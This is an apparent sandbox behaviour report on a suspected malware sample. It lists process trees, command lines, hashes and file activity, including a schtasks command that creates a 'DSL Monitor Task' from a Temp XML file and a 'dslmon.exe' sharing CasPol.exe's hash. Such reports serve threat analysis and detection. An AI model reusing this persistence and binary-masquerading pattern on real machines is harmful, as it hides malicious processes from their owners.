Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit): true

Commandline: schtasks.exe" /create /f /tn "DSL Monitor Task" /xml "C:\Users\user\AppData\Local\Temp\tmp7C99.tmp

Imagebase: 0x820000

File size: 187904 bytes

MD5 hash: 478BEAEC1C3A9417272BC8964ADD1CEE

Analysis Process: schtasks.exe PID: 3936, Parent PID: 368

General

File Activities

File Read

Analysis Process: conhost.exe PID: 2400, Parent PID: 3936

General

Analysis Process: schtasks.exe PID: 6288, Parent PID: 368

General
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Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\tmp7C99.tmp unknown 2 success or wait 1 82B43E ReadFile

C:\Users\user\AppData\Local\Temp\tmp7C99.tmp unknown 1309 success or wait 1 82B4E3 ReadFile

Target ID: 8

Start time: 07:32:42

Start date: 28/09/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff63db50000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

Target ID: 9

Start time: 07:32:42

Start date: 28/09/2022

Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe 0

Imagebase: 0x5e0000

File size: 106496 bytes

MD5 hash: 7BAE06CBE364BB42B8C34FCFB90E3EBD

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 73B7614C unknown

File Activities

File Read

Analysis Process: conhost.exe PID: 7540, Parent PID: 6288

General

Analysis Process: CasPol.exe PID: 5328, Parent PID: 1412

General

File Activities

File Created
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C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 73B7614C unknown

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v2.0_32\UsageLogs\caspol.exe.log

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 73B63547 CreateFileW

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

\Device\ConDrv 0 0 75 6e 6b 6e 6f 77 6e unknown success or wait 1 104A53F WriteFile

\Device\ConDrv 52 52 43 6f 70 79 72 69 67 68 
74 20 28 63 29 20 4d 69 
63 72 6f 73 6f 66 74 20 
43 6f 72 70 6f 72 61 74 
69 6f 6e 2e 20 20 41 6c 
6c 20 72 69 67 68 74 73 
20 72 65 73 

Copyright (c) Microsoft 
Corporation.  All rights 
res

success or wait 3 104A53F WriteFile

\Device\ConDrv 140 26 0d 0a 46 6f 72 20 75 73 
61 67 65 20 69 6e 66 6f 
72 6d 61 74 69 6f 6e 2c 
20 75 

For usage information, u success or wait 2 104A53F WriteFile

\Device\ConDrv 182 40 75 6e 6b 6e 6f 77 6e unknown success or wait 1 104A53F WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v2.0_32\UsageLogs\
caspol.exe.log

0 20 31 2c 22 66 75 73 69 6f 
6e 22 2c 22 47 41 43 22 
2c 30 0d 0a 

1,"fusion","GAC",0 success or wait 1 73E4ACA5 WriteFile

File Path Offset Length Completion Count Source Address Symbol

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4095 success or wait 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 6304 success or wait 3 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4095 success or wait 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 8173 end of file 1 73BA55E4 unknown

Target ID: 10

Start time: 07:32:42

Start date: 28/09/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff63db50000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Offset Length Completion Count Source Address Symbol

File Written

File Read

Analysis Process: conhost.exe PID: 5072, Parent PID: 5328

General

File Activities

Analysis Process: dslmon.exe PID: 4028, Parent PID: 1412

General
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Target ID: 11

Start time: 07:32:44

Start date: 28/09/2022

Path: C:\Program Files (x86)\DSL Monitor\dslmon.exe

Wow64 process (32bit): true

Commandline: "C:\Program Files (x86)\DSL Monitor\dslmon.exe" 0

Imagebase: 0x860000

File size: 106496 bytes

MD5 hash: 7BAE06CBE364BB42B8C34FCFB90E3EBD

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Antivirus matches: Detection: 0%, ReversingLabs
Detection: 1%, Virustotal, Browse
Detection: 0%, Metadefender, Browse

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 73B7614C unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 73B7614C unknown

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v2.0_32\UsageLogs\dslmon.exe.log

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 73B63547 CreateFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

\Device\ConDrv 0 0 75 6e 6b 6e 6f 77 6e unknown success or wait 1 14EA53F WriteFile

\Device\ConDrv 52 52 43 6f 70 79 72 69 67 68 
74 20 28 63 29 20 4d 69 
63 72 6f 73 6f 66 74 20 
43 6f 72 70 6f 72 61 74 
69 6f 6e 2e 20 20 41 6c 
6c 20 72 69 67 68 74 73 
20 72 65 73 

Copyright (c) Microsoft 
Corporation.  All rights 
res

success or wait 3 14EA53F WriteFile

\Device\ConDrv 140 26 0d 0a 46 6f 72 20 75 73 
61 67 65 20 69 6e 66 6f 
72 6d 61 74 69 6f 6e 2c 
20 75 

For usage information, u success or wait 2 14EA53F WriteFile

\Device\ConDrv 182 40 75 6e 6b 6e 6f 77 6e unknown success or wait 1 14EA53F WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v2.0_32\UsageLogs\
dslmon.exe.log

0 20 31 2c 22 66 75 73 69 6f 
6e 22 2c 22 47 41 43 22 
2c 30 0d 0a 

1,"fusion","GAC",0 success or wait 1 73E4ACA5 WriteFile

File Path Offset Length Completion Count Source Address Symbol

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4095 success or wait 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 6304 success or wait 3 73BA55E4 unknown

Target ID: 12

Start time: 07:32:45

Start date: 28/09/2022

File Activities

File Created

File Written

File Read

Analysis Process: conhost.exe PID: 888, Parent PID: 4028

General
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Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff63db50000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Offset Length Completion Count Source Address Symbol

Target ID: 13

Start time: 07:32:56

Start date: 28/09/2022

Path: C:\Program Files (x86)\DSL Monitor\dslmon.exe

Wow64 process (32bit): true

Commandline: "C:\Program Files (x86)\DSL Monitor\dslmon.exe" 

Imagebase: 0xcd0000

File size: 106496 bytes

MD5 hash: 7BAE06CBE364BB42B8C34FCFB90E3EBD

Has elevated privileges: false

Has administrator 
privileges:

false

Programmed in: .Net C# or VB.NET

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 73B7614C unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 73B7614C unknown

File Path Offset Length Value Ascii Completion Count Source Address Symbol

\Device\ConDrv 0 0 75 6e 6b 6e 6f 77 6e unknown success or wait 1 14EA53F WriteFile

\Device\ConDrv 52 52 43 6f 70 79 72 69 67 68 
74 20 28 63 29 20 4d 69 
63 72 6f 73 6f 66 74 20 
43 6f 72 70 6f 72 61 74 
69 6f 6e 2e 20 20 41 6c 
6c 20 72 69 67 68 74 73 
20 72 65 73 

Copyright (c) Microsoft 
Corporation.  All rights 
res

success or wait 3 14EA53F WriteFile

\Device\ConDrv 143 29 0d 0a 46 6f 72 20 75 73 
61 67 65 20 69 6e 66 6f 
72 6d 61 74 69 6f 6e 2c 
20 75 73 65 20 

For usage information, 
use 

success or wait 2 14EA53F WriteFile

\Device\ConDrv 185 40 75 6e 6b 6e 6f 77 6e unknown success or wait 1 14EA53F WriteFile

File Activities

Analysis Process: dslmon.exe PID: 1384, Parent PID: 4960

General

File Activities

File Created

File Written

File Read
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File Path Offset Length Completion Count Source Address Symbol

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4095 success or wait 1 73BA55E4 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 6304 success or wait 3 73BA55E4 unknown

Target ID: 14

Start time: 07:32:56

Start date: 28/09/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff63db50000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: false

Has administrator 
privileges:

false

Programmed in: C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Offset Length Completion Count Source Address Symbol

⊘ No disassembly

Analysis Process: conhost.exe PID: 5764, Parent PID: 1384

General

File Activities

Disassembly
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